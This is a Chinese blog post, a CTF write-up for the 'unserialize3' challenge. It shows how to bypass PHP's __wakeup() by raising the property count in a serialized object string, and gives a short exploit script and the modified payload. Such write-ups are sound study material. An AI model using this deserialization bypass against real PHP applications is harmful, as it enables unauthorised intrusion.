攻防世界 unserialize3

unserialize3
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
?code=

进入题目给出部分代码,注意发现到有个wakeup()函数,我们要想办法绕过这个函数,wakeup()有个执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行wakeup()函数,这也算是一个绕过点

我们编写exp

class xctf
{
    public $flag = '111';

    public function __wakeup()
    {
        exit('bad requests');
    }
}

$a = new xctf();
echo serialize($a);

得出结果我们修改属性值,只要比1大就行

O:4:"xctf":1:{s:4:"flag";s:3:"111";}#原来的运行结果
O:4:"xctf":3:{s:4:"flag";s:3:"111";}#修改后的payload

在这里插入图片描述

得出结果

posted @ 2022-03-20 19:32  听梦外雪花飞  阅读(59)  评论(0)    收藏  举报